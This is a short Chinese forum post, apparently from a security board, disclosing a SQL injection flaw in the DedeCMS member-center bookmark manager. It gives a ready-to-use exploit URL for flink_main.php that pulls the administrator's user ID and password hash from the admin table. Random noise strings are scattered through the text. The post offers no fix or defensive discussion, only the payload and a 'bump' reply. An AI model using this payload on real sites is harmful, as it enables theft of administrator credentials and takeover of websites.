DedeCMS会员中心书签管理SQL注射漏洞

admin

DedeCMS会员中心SQL注射漏洞
需要magic_quotes_gpc = Off
4 a0 a) b, a' Y8 G+ q& W会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
2 r7 T- c, E" M! n4 ]0 ~
& j! Q' F1 e6 o& s# o, X* Y0 xDedeCMS会员中心书签管理SQL注射漏洞
2 |/ j5 X7 V0 K; p2 t9 \, D成功利用该漏洞可获得管理员密码
+ _* l, M3 Z. Z! L' c
( z$ K4 y2 V9 `6 P7 I9 f$ ?! t会员登录后可以执行SQL语句查询数据库任意内容如管理员密码

# z" ?; S) i  E) G' ?- x+ l$ qhttp://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
6 ^7 D3 A. Y' w7 \( p/ I# @& r& L

kook

#89 顶起。